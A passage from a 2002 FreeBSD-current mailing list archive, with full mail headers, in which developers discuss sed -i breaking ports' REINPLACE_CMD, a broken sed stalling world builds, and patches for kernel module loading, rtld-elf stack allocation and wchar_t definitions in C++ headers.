> The problem is that sed(1) on -current fails with "sed -i.bak file", if
> file.bak already exists, but perl does not. Since net/rsync/Makefile
> uses 3 ${REINPLACE_CMD}s on one file (rsync.h), I have removed the
> backup file with ${RM} file.bak between the calls.
> 
> ==> ${REINPLACE_CMD} has different semantics on -current and -stable

Given that we're currently discussing alternatives to REINPLACE_CMD, I
would suggest that for now, not trying to switch all the ports over to
it might be a good idea.

-- 
   "We have known freedom's price. We have shown freedom's power.
      And in this great conflict, ...  we will see freedom's victory."
	- George W. Bush, President of the United States
          State of the Union, January 28, 2002

         Do YOU Yahoo!?

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16 11:29: 6 2002
Delivered-To: freebsd-current@freebsd.org
Received: from smtp-send.myrealbox.com (smtp-send.myrealbox.com [192.108.102.143])
	by hub.freebsd.org (Postfix) with ESMTP id EC49B37B421
	for <freebsd-current@freebsd.org>; Sun, 16 Jun 2002 11:29:00 -0700 (PDT)
Received: from sbcglobal.net wa1ter@smtp-send.myrealbox.com [66.126.108.241]
	by smtp-send.myrealbox.com with NetMail SMTP Agent $Revision:   3.9  $ on Novell NetWare
	via secured & encrypted transport (TLS);
	Sun, 16 Jun 2002 12:29:01 -0600
Message-ID: <3D0CD8DB.1040403@sbcglobal.net>
Date: Sun, 16 Jun 2002 11:28:43 -0700
From: walt <wsheets@sbcglobal.net>
Organization: none
User-Agent: Mozilla/4.72 [en] (Windows NT 5.0; I)
X-Accept-Language: en-us, en
MIME-Version: 1.0
Cc: freebsd-current@freebsd.org
Subject: Re: Syscalls.master broken on -CURRENT?
References: <3D0B4690.3080908@sbcglobal.net>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

walt wrote:
 >  > During the compilation of usr.bin/truss this error stops world:
 >  >
 >  > syscalls.master: line 55: syscall number out of sync at 7
 >  > line is:
 >  >      struct rusage  * rusage ) ;  }  wait4 wait_args int
 >  >
 >  > The error is actually produced by the execution of
 >  > '/usr/src/sys/kern/makesyscalls.sh syscalls.master'
 >  >
 >  > What I don't understand is why this same error breaks world
 >  > on one of my -CURRENT machines but not on the other machine...
 >
 > Try this:
 >
 > # cd /usr/src/usr.bin/truss
 > # make clean
 > # make
 >
 > I think you will see the error appear.
 >

And Vladim Belman saves the day:

  > I just have found source of the problem. It's broken sed,
  > again...

  > # cd /usr/src/usr.bin/sed
  > # make
  > # make install
  >
  > And it works.

Yes!  Thank you.  Now I hope I can undo the mess I've made of my
machine in the meantime while trying to fix this ;-)



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16 11:29:45 2002
Delivered-To: freebsd-current@freebsd.org
Received: from van-laarhoven.org (ap-z-5ab8.adsl.wanadoo.nl [212.129.218.184])
	by hub.freebsd.org (Postfix) with SMTP id 3FF5D37B40E
	for <current@FreeBSD.ORG>; Sun, 16 Jun 2002 11:29:38 -0700 (PDT)
Received: (qmail 73805 invoked from network); 16 Jun 2002 18:29:36 -0000
Received: from heather.van-laarhoven.org (10.66.0.2)
  by uitsmijter.van-laarhoven.org with SMTP; 16 Jun 2002 18:29:36 -0000
Date: Sun, 16 Jun 2002 20:29:36 +0200 (CEST)
From: Nick Hibma <n_hibma@van-laarhoven.org>
To: FreeBSD CURRENT Mailing List <current@FreeBSD.ORG>
Cc: Nick Hibma <n_hibma@van-laarhoven.org>
Subject: making make load work for /sys/modules/*
Message-ID: <20020616201846.G1928-200000@heather.van-laarhoven.org>
MIME-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="0-1570425195-1024252176=:1928"
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

--0-1570425195-1024252176=:1928
Content-Type: TEXT/PLAIN; charset=US-ASCII


At the moment 'make load' does not work in /sys/modules. The attached
patch fixes that by using .OBJDIR instead of .CURDIR as the absolute
path to find the module at:

heidi:toor# make
Warning: Object directory not changed from original /usr/src-current/sys/modules/umass
...
heidi:toor# make load
/sbin/kldload -v /usr/src-current/sys/modules/umass/umass.ko
Loaded /usr/src-current/sys/modules/umass/umass.ko, id=5
...
heidi:toor# make obj
/usr/obj/usr/src-current/sys/modules/umass created for /usr/src-current/sys/modules/umass
heidi:toor# make
...
heidi:toor# make load
/sbin/kldload -v /usr/src-current/sys/modules/umass/umass.ko
kldload: can't load /usr/src-current/sys/modules/umass/umass.ko: No such file or directory
*** Error code 1

Stop in /usr/src-current/sys/modules/umass.



After changing .CURDIR to .OBJDIR it selects the correct module
depending on whether it was created in the MAKEOBJDIR directory or not:

heidi:toor# make
Warning: Object directory not changed from original /usr/src-current/sys/modules/umass
...
heidi:toor# make load
/sbin/kldload -v /usr/src-current/sys/modules/umass/umass.ko
Loaded /usr/src-current/sys/modules/umass/umass.ko, id=5
...
heidi:toor# make obj
/usr/obj/usr/src-current/sys/modules/umass created for /usr/src-current/sys/modules/umass
heidi:toor# make
...
heidi:toor# make load
/sbin/kldload -v /usr/obj/usr/src-current/sys/modules/umass/umass.ko
Loaded /usr/obj/usr/src-current/sys/modules/umass/umass.ko, id=5



Any objections to the attached patch? Any reason to wait for a system
makefiles guru?

Nick
-- 
n_hibma@van-laarhoven.org                  http://www.van-laarhoven.org/
n_hibma@FreeBSD.org                        http://www.etla.net/~n_hibma/

--0-1570425195-1024252176=:1928
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="make-load.diff"
Content-Transfer-Encoding: BASE64
Content-ID: <20020616202936.L1928@heather.van-laarhoven.org>
Content-Description: 
Content-Disposition: attachment; filename="make-load.diff"

SW5kZXg6IGttb2QubWsNCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NClJDUyBm
aWxlOiAvaG9tZS9uY3ZzL3NyYy9zeXMvY29uZi9rbW9kLm1rLHYNCnJldHJp
ZXZpbmcgcmV2aXNpb24gMS4xMjQNCmRpZmYgLXUgLXIxLjEyNCBrbW9kLm1r
DQotLS0ga21vZC5tawkxNCBNYXkgMjAwMiAwNzo0OToxMiAtMDAwMAkxLjEy
NA0KKysrIGttb2QubWsJMTYgSnVuIDIwMDIgMTg6MTg6MTcgLTAwMDANCkBA
IC0yNzgsNyArMjc4LDcgQEANCiANCiAuaWYgIXRhcmdldChsb2FkKQ0KIGxv
YWQ6CSR7UFJPR30NCi0JJHtLTU9ETE9BRH0gLXYgJHsuQ1VSRElSfS8ke0tN
T0R9LmtvDQorCSR7S01PRExPQUR9IC12ICR7Lk9CSkRJUn0vJHtLTU9EfS5r
bw0KIC5lbmRpZg0KIA0KIC5pZiAhdGFyZ2V0KHVubG9hZCkNCg==
--0-1570425195-1024252176=:1928--

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16 11:33: 9 2002
Delivered-To: freebsd-current@freebsd.org
Received: from unsane.de (p50804C65.dip.t-dialin.net [80.128.76.101])
	by hub.freebsd.org (Postfix) with ESMTP
	id 38A6737B405; Sun, 16 Jun 2002 11:32:40 -0700 (PDT)
Received: from localhost (localhost.unsane.de [127.0.0.1])
	by unsane.de (Postfix) with ESMTP
	id 61729719; Sun, 16 Jun 2002 20:32:38 +0200 (CEST)
Received: by unsane.de (Postfix, from userid 1001)
	id B1CC8329; Sun, 16 Jun 2002 20:32:37 +0200 (CEST)
Date: Sun, 16 Jun 2002 20:32:37 +0200
From: Oliver Braun <obraun@informatik.unibw-muenchen.de>
To: Doug Barton <DougB@FreeBSD.ORG>
Cc: Kris Kennaway <kris@obsecurity.org>, ijliao@FreeBSD.ORG,
	ports@FreeBSD.ORG, current@FreeBSD.ORG
Subject: Re: rsync 5.x breakage
Message-ID: <20020616183237.GA85136@unsane.de>
Reply-To: Oliver Braun <obraun@informatik.unibw-muenchen.de>
References: <20020616040000.A16402@xor.obsecurity.org> <20020616123029.GA12998@informatik.unibw-muenchen.de> <3D0CD679.564603D@FreeBSD.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <3D0CD679.564603D@FreeBSD.org>
Organization: University of the Federal Armed Forces Munich, Germany
X-Mailer: Mutt http://www.mutt.org/
X-OS: FreeBSD 4.6-STABLE i386 http://www.freebsd.org/
X-Newsreader: SLRN http://www.slrn.org/
X-Uptime: 7:06
X-URL: http://ist.unibw-muenchen.de/People/obraun
X-Accept-Language: de en
X-Location: Europe, Germany, Munich
X-Editor: Vim-601 http://www.vim.org/
User-Agent: Mutt/1.5.1i
X-Virus-Scanned: by AMaViS snapshot-20020300
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

* Doug Barton <DougB@FreeBSD.ORG> [2002-06-16 20:20]:
> Oliver Braun wrote:

> > The problem is that sed(1) on -current fails with "sed -i.bak file", if
> > file.bak already exists, but perl does not. Since net/rsync/Makefile
> > uses 3 ${REINPLACE_CMD}s on one file (rsync.h), I have removed the
> > backup file with ${RM} file.bak between the calls.
> > 
> > ==> ${REINPLACE_CMD} has different semantics on -current and -stable

> Given that we're currently discussing alternatives to REINPLACE_CMD, I
> would suggest that for now, not trying to switch all the ports over to
> it might be a good idea.

OK. So, I am going to suspend my work on switching the ports maintained
by ports@ to ${REINPLACE_CMD}. Or should I go on submitting patches?

Regards,
         Olli
-- 
IST & IIS _ INF _ UniBwM ___________ http://ist.unibw-muenchen.de/People/obraun/
Tele-Consulting GmbH _______________ http://www.tele-consulting.com/ ___ obraun@
FreeBSD: The Power To Serve ________ http://www.freebsd.org/ ___________________
GnuPG: 0xEF25B1BA Fingerprint: 6A3B 042A 732E 17E4 B6E7 3EAF C0B1 6B7D EF25 B1BA

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16 11:44: 6 2002
Delivered-To: freebsd-current@freebsd.org
Received: from obsecurity.dyndns.org (adsl-63-207-60-56.dsl.lsan03.pacbell.net [63.207.60.56])
	by hub.freebsd.org (Postfix) with ESMTP
	id BB0CB37B408; Sun, 16 Jun 2002 11:44:00 -0700 (PDT)
Received: by obsecurity.dyndns.org (Postfix, from userid 1000)
	id 1039D66D51; Sun, 16 Jun 2002 11:44:00 -0700 (PDT)
Date: Sun, 16 Jun 2002 11:43:59 -0700
From: Kris Kennaway <kris@obsecurity.org>
To: Oliver Braun <obraun@informatik.unibw-muenchen.de>
Cc: Kris Kennaway <kris@obsecurity.org>, ijliao@freebsd.org,
	ports@freebsd.org, current@freebsd.org, sobomax@FreeBSD.org
Subject: Re: rsync 5.x breakage
Message-ID: <20020616114359.C24973@xor.obsecurity.org>
References: <20020616040000.A16402@xor.obsecurity.org> <20020616123029.GA12998@informatik.unibw-muenchen.de>
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-md5;
	protocol="application/pgp-signature"; boundary="8NvZYKFJsRX2Djef"
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020616123029.GA12998@informatik.unibw-muenchen.de>; from obraun@informatik.unibw-muenchen.de on Sun, Jun 16, 2002 at 02:30:29PM +0200
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


--8NvZYKFJsRX2Djef
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Sun, Jun 16, 2002 at 02:30:29PM +0200, Oliver Braun wrote:

> =3D=3D> ${REINPLACE_CMD} has different semantics on -current and -stable
>=20
> Maintainer only using -stable won't be able to get that error and fix it
> _before_ submitting.

Yeah, I really don't like this.  At the very minimum there needs to be
an easy way port maintainers can test with all variants of the
REINPLACE_CMD implementation to make sure it works in all cases.  The
differences in regexp syntax is going to be another major cause of
tears.

Kris

--8NvZYKFJsRX2Djef
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (FreeBSD)

iD8DBQE9DNxvWry0BWjoQKURAgrHAJ457psKutZJfyEWViCPx7hZL6YmJgCfV0w2
KfgC8iXzodL8Tg0j8AhEnwE=
=KXdy
-----END PGP SIGNATURE-----

--8NvZYKFJsRX2Djef--

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16 13:42:40 2002
Delivered-To: freebsd-current@freebsd.org
Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2])
	by hub.freebsd.org (Postfix) with ESMTP
	id 59C7337B405; Sun, 16 Jun 2002 13:42:05 -0700 (PDT)
Received: from apollo.backplane.com (localhost [127.0.0.1])
	by apollo.backplane.com (8.12.3/8.12.3) with ESMTP id g5GKg5CV041656;
	Sun, 16 Jun 2002 13:42:05 -0700 (PDT)
	(envelope-from dillon@apollo.backplane.com)
Received: (from dillon@localhost)
	by apollo.backplane.com (8.12.3/8.12.3/Submit) id g5GKg5JW041655;
	Sun, 16 Jun 2002 13:42:05 -0700 (PDT)
	(envelope-from dillon)
Date: Sun, 16 Jun 2002 13:42:05 -0700 (PDT)
From: Matthew Dillon <dillon@apollo.backplane.com>
Message-Id: <200206162042.g5GKg5JW041655@apollo.backplane.com>
To: freebsd-current@freebsd.org, freebsd-hackers@freebsd.org
Cc: jdp@polstra.com, obrien@freebsd.org
Subject: rtld-elf patches for non-i386 architectures (review / test request)
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

    These are the rtld-elf patches for -current for non-i386 architectures.
    Since I can't test these I would appreciate it if people could 
    review them, and test if possible on alpha, ia64, sparc64, and alpha.
    The ia64 patch is the most complex.  The rest are essentially the
    same as i386.

    I will email the one remaining patch for -stable (for alpha) to David
    directly.

						Thanks,

						-Matt

Index: rtld-elf/alpha/reloc.c
===================================================================
RCS file: /home/ncvs/src/libexec/rtld-elf/alpha/reloc.c,v
retrieving revision 1.15
diff -u -r1.15 reloc.c
--- rtld-elf/alpha/reloc.c	18 Feb 2002 02:24:10 -0000	1.15
+++ rtld-elf/alpha/reloc.c	16 Jun 2002 20:24:52 -0000
@@ -152,10 +152,18 @@
 	const Elf_Rela *relalim;
 	const Elf_Rela *rela;
 	SymCache *cache;
+	int bytes = obj->nchains * sizeof(SymCache);
+	int r = -1;
 
-	cache = (SymCache *)alloca(obj->nchains * sizeof(SymCache));
+	/*
+	 * The dynamic loader may be called from a thread, we have
+	 * limited amounts of stack available so we cannot use alloca().
+	 */
+	cache = mmap(NULL, bytes, PROT_READ|PROT_WRITE, MAP_ANON, -1, 0);
+	if (cache == MAP_FAILED)
+	    cache = NULL;
 	if (cache != NULL)
-	    memset(cache, 0, obj->nchains * sizeof(SymCache));
+	    memset(cache, 0, bytes);
 
 	/* Perform relocations without addend if there are any: */
 	rellim = (const Elf_Rel *) ((caddr_t) obj->rel + obj->relsize);
@@ -166,16 +174,20 @@
 		locrela.r_offset = rel->r_offset;
 		locrela.r_addend = 0;
 		if (reloc_non_plt_obj(obj_rtld, obj, &locrela, cache))
-			return -1;
+			goto done;
 	}
 
 	/* Perform relocations with addend if there are any: */
 	relalim = (const Elf_Rela *) ((caddr_t) obj->rela + obj->relasize);
 	for (rela = obj->rela;  obj->rela != NULL && rela < relalim;  rela++) {
 		if (reloc_non_plt_obj(obj_rtld, obj, rela, cache))
-			return -1;
+			goto done;
 	}
-    return 0;
+	r = 0;
+done:
+	if (cache)
+	    munmap(cache, bytes);
+	return(r);
 }
 
 /* Process the PLT relocations. */
Index: rtld-elf/ia64/reloc.c
===================================================================
RCS file: /home/ncvs/src/libexec/rtld-elf/ia64/reloc.c,v
retrieving revision 1.6
diff -u -r1.6 reloc.c
--- rtld-elf/ia64/reloc.c	21 May 2002 00:04:08 -0000	1.6
+++ rtld-elf/ia64/reloc.c	16 Jun 2002 20:35:05 -0000
@@ -190,24 +190,35 @@
 	const Elf_Rela *rela;
 	SymCache *cache;
 	struct fptr **fptrs;
+	int bytes = obj->nchains * sizeof(SymCache);
+	int fbytes = obj->nchains * sizeof(struct fptr *);
+	int r = -1;
 
-	cache = (SymCache *)alloca(obj->nchains * sizeof(SymCache));
+	/*
+	 * The dynamic loader may be called from a thread, we have
+	 * limited amounts of stack available so we cannot use alloca().
+	 */
+	cache = mmap(NULL, bytes, PROT_READ|PROT_WRITE, MAP_ANON, -1, 0);
+	if (cache == MAP_FAILED)
+		cache = NULL;
 	if (cache != NULL)
-		memset(cache, 0, obj->nchains * sizeof(SymCache));
+		memset(cache, 0, bytes);
 
 	/*
 	 * When relocating rtld itself, we need to avoid using malloc.
 	 */
-        if (obj == obj_rtld)
-		fptrs = (struct fptr **)
-			alloca(obj->nchains * sizeof(struct fptr *));
-	else
+        if (obj == obj_rtld) {
+		fptrs = mmap(NULL, fbytes, PROT_READ|PROT_WRITE, 
+			    MAP_ANON, -1, 0);
+		if (fptrs == MAP_FAILED)
+			fptrs = NULL;
+	} else {
 		fptrs = (struct fptr **)
 			malloc(obj->nchains * sizeof(struct fptr *));
-
+	}
 	if (fptrs == NULL)
-		return -1;
-	memset(fptrs, 0, obj->nchains * sizeof(struct fptr *));
+		goto done;
+	memset(fptrs, 0, fbytes);
 
 	/* Perform relocations without addend if there are any: */
 	rellim = (const Elf_Rel *) ((caddr_t) obj->rel + obj->relsize);
@@ -218,28 +229,43 @@
 		locrela.r_offset = rel->r_offset;
 		locrela.r_addend = 0;
 		if (reloc_non_plt_obj(obj_rtld, obj, &locrela, cache, fptrs))
-			return -1;
+			goto done;
 	}
 
 	/* Perform relocations with addend if there are any: */
 	relalim = (const Elf_Rela *) ((caddr_t) obj->rela + obj->relasize);
 	for (rela = obj->rela;  obj->rela != NULL && rela < relalim;  rela++) {
 		if (reloc_non_plt_obj(obj_rtld, obj, rela, cache, fptrs))
-			return -1;
+			goto done;
 	}
 
 	/*
 	 * Remember the fptrs in case of later calls to dlsym(). Don't 
 	 * bother for rtld - we will lazily create a table in
-	 * make_function_pointer(). At this point we still can't risk
-	 * calling malloc().
+	 * make_function_pointer().  We still can't risk calling malloc()
+	 * in the rtld case.
+	 *
+	 * When remembering fptrs, NULL out our local fptrs variable so we
+	 * do not free it.
 	 */
-	if (obj != obj_rtld)
-		obj->priv = fptrs;
-	else
+	if (obj == obj_rtld) {
 		obj->priv = NULL;
+	} else {
+		obj->priv = fptrs;
+		fptrs = NULL;
+	}
 
-	return 0;
+	r = 0;
+done:
+	if (cache)
+		munmap(cache, bytes);
+	if (fptrs) {
+		if (obj == obj_rtld)
+			munmap(fptrs, fbytes);
+		else
+			free(fptrs);
+	}
+	return (r);
 }
 
 /* Process the PLT relocations. */
Index: rtld-elf/sparc64/reloc.c
===================================================================
RCS file: /home/ncvs/src/libexec/rtld-elf/sparc64/reloc.c,v
retrieving revision 1.1
diff -u -r1.1 reloc.c
--- rtld-elf/sparc64/reloc.c	13 Mar 2002 02:40:39 -0000	1.1
+++ rtld-elf/sparc64/reloc.c	16 Jun 2002 20:27:15 -0000
@@ -249,18 +249,29 @@
 	const Elf_Rela *relalim;
 	const Elf_Rela *rela;
 	SymCache *cache;
+	int bytes = obj->nchains * sizeof(SymCache);
+	int r = -1;
 
-	cache = (SymCache *)alloca(obj->nchains * sizeof(SymCache));
+	/*
+	 * The dynamic loader may be called from a thread, we have
+	 * limited amounts of stack available so we cannot use alloca().
+	 */
+	cache = mmap(NULL, bytes, PROT_READ|PROT_WRITE, MAP_ANON, -1, 0);
+	if (cache == MAP_FAILED)
+		cache = NULL;
 	if (cache != NULL)
 		memset(cache, 0, obj->nchains * sizeof(SymCache));
 
 	relalim = (const Elf_Rela *)((caddr_t)obj->rela + obj->relasize);
 	for (rela = obj->rela; rela < relalim; rela++) {
 		if (reloc_nonplt_object(obj, rela, cache) < 0)
-			return (-1);
+			goto done;
 	}
-
-	return (0);
+	r = 0;
+done:
+	if (cache)
+		munmap(cache, bytes);
+	return (r);
 }
 
 static int

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16 13:56:35 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mail.imp.ch (mail.imp.ch [157.161.1.2])
	by hub.freebsd.org (Postfix) with ESMTP
	id DF68437B404; Sun, 16 Jun 2002 13:56:30 -0700 (PDT)
Received: from nbs.imp.ch (nbs.imp.ch [157.161.4.7])
	by mail.imp.ch (8.11.6/8.11.6) with ESMTP id g5GKuUb86118;
	Sun, 16 Jun 2002 22:56:30 +0200 (CEST)
Received: from levais.imp.ch (levais.imp.ch [157.161.4.66])
	by nbs.imp.ch (8.12.3/8.12.3) with ESMTP id g5GKuT9014066951;
	Sun, 16 Jun 2002 22:56:29 +0200 (MES)
Date: Sun, 16 Jun 2002 22:57:32 +0200 (CEST)
From: Martin Blapp <mb@imp.ch>
To: <current@freebsd.org>
Cc: <obrien@freebsd.org>, <peter@freebsd.org>
Subject: PATCH: wchar_t is already defined in libstd++
Message-ID: <20020616225518.I34000-100000@levais.imp.ch>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


Hi,

On current, wchar_t is already defined in libstd++. This
makes gcc baby cry.

I don't know if it is correct, but I guess David or Peter
will tell me ;-)

This patch fixed many ports on CURRENT and I did not had to
modify CFLAGS. We could even add a check against __GNUC__ >= 3
if a user likes to compiles something with gcc2.95.

--- /usr/src/include/runetype.h	Sat Apr  6 16:43:41 2002
+++ /usr/src/include/runetype.h	Sun Jun 16 15:25:56 2002
@@ -53,9 +53,11 @@
 #undef	_BSD_SIZE_T_
 #endif

+#if !defined(__cplusplus)
 #ifdef	_BSD_WCHAR_T_
 typedef	_BSD_WCHAR_T_	wchar_t;
 #undef	_BSD_WCHAR_T_
+#endif
 #endif

 #define	_CACHED_RUNES	(1 <<8 )	/* Must be a power of 2 */
--- /usr/src/include/stdlib.h	Sun Jun  2 18:31:31 2002
+++ /usr/src/include/stdlib.h	Sun Jun 16 15:23:51 2002
@@ -53,9 +53,11 @@
 #undef	_BSD_SIZE_T_
 #endif

+#if !defined(__cplusplus)
 #ifdef	_BSD_WCHAR_T_
 typedef	_BSD_WCHAR_T_	wchar_t;
 #undef	_BSD_WCHAR_T_
+#endif
 #endif

 typedef struct {
--- /usr/src/include/stddef.h	Mon Jun  4 15:21:22 2001
+++ /usr/src/include/stddef.h	Sun Jun 16 15:28:54 2002
@@ -54,9 +54,11 @@
 #undef	_BSD_SIZE_T_
 #endif

+#if !defined(__cplusplus)
 #ifdef	_BSD_WCHAR_T_
 typedef	_BSD_WCHAR_T_	wchar_t;
 #undef	_BSD_WCHAR_T_
+#endif
 #endif

 #ifndef	NULL
--- /usr/src/include/inttypes.h	Wed Jan  9 22:32:37 2002
+++ /usr/src/include/inttypes.h	Sun Jun 16 22:46:40 2002
@@ -32,9 +32,11 @@
 #include <machine/_inttypes.h>
 #include <sys/stdint.h>

+#if !defined(__cplusplus)
 #ifdef	_BSD_WCHAR_T_
 typedef	_BSD_WCHAR_T_	wchar_t;
 #undef	_BSD_WCHAR_T_
+#endif
 #endif

 typedef struct {
--- /usr/src/include/wchar.h	Sat Apr  6 16:43:43 2002
+++ /usr/src/include/wchar.h	Sun Jun 16 22:47:28 2002
@@ -73,9 +73,11 @@
 #define NULL	0
 #endif

+#if !defined(__cplusplus)
 #ifdef	_BSD_WCHAR_T_
 typedef	_BSD_WCHAR_T_	wchar_t;
 #undef	_BSD_WCHAR_T_
+#endif
 #endif

 #ifdef	_BSD_MBSTATE_T_

Martin

Martin Blapp, <mb@imp.ch> <mbr@FreeBSD.org>
------------------------------------------------------------------
ImproWare AG, UNIXSP & ISP, Zurlindenstrasse 29, 4133 Pratteln, CH
Phone: +41 061 826 93 00: +41 61 826 93 01
PGP: <finger -l mbr@freebsd.org>
PGP Fingerprint: B434 53FC C87C FE7B 0A18 B84C 8686 EF22 D300 551E
------------------------------------------------------------------


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16 13:57:25 2002
Delivered-To: freebsd-current@freebsd.org
Received: from elvis.mu.org (elvis.mu.org [192.203.228.196])
	by hub.freebsd.org (Postfix) with ESMTP
	id 5EA7737B406; Sun, 16 Jun 2002 13:57:19 -0700 (PDT)
Received: by elvis.mu.org (Postfix, from userid 1192)
	id 295E1AE147; Sun, 16 Jun 2002 13:57:19 -0700 (PDT)
Date: Sun, 16 Jun 2002 13:57:19 -0700
From: Alfred Perlstein <bright@mu.org>
To: Matthew Dillon <dillon@apollo.backplane.com>
Cc: freebsd-current@freebsd.org, freebsd-hackers@freebsd.org,
	jdp@polstra.com, obrien@freebsd.org
Subject: Re: rtld-elf patches for non-i386 architectures (review / test request)
Message-ID: <20020616205719.GC67925@elvis.mu.org>
References: <200206162042.g5GKg5JW041655@apollo.backplane.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <200206162042.g5GKg5JW041655@apollo.backplane.com>
User-Agent: Mutt/1.3.27i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

* Matthew Dillon <dillon@apollo.backplane.com> [020616 13:43] wrote:
>     These are the rtld-elf patches for -current for non-i386 architectures.
>     Since I can't test these I would appreciate it if people could 
>     review them, and test if possible on alpha, ia64, sparc64, and alpha.
>     The ia64 patch is the most complex.  The rest are essentially the
>     same as i386.
> 
>     I will email the one remaining patch for -stable (for alpha) to David
>     directly.

Why memset(3) the anon memory to zero, isn't that what it's supposed
to be initialized to anyway?

-- 
-Alfred Perlstein [alfred@freebsd.org]
'Instead of asking why a piece of software is using "1970s technology,"
 start asking why software is ignoring 30 years of accumulated wisdom.'
Tax deductible donations for FreeBSD: http://www.freebsdfoundation.org/

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16 14: 4:21 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mail-relay1.yahoo.com (mail-relay1.yahoo.com [216.145.48.34])
	by hub.freebsd.org (Postfix) with ESMTP id DBC4637B401
	for <current@FreeBSD.org>; Sun, 16 Jun 2002 14:04:13 -0700 (PDT)
Received: from FreeBSD.org (12-234-90-219.client.attbi.com [12.234.90.219])
	by mail-relay1.yahoo.com (Postfix) with ESMTP
	id 5E56B8B5D2; Sun, 16 Jun 2002 14:04:13 -0700 (PDT)
Message-ID: <3D0CFD4D.ACCE9CB2@FreeBSD.org>
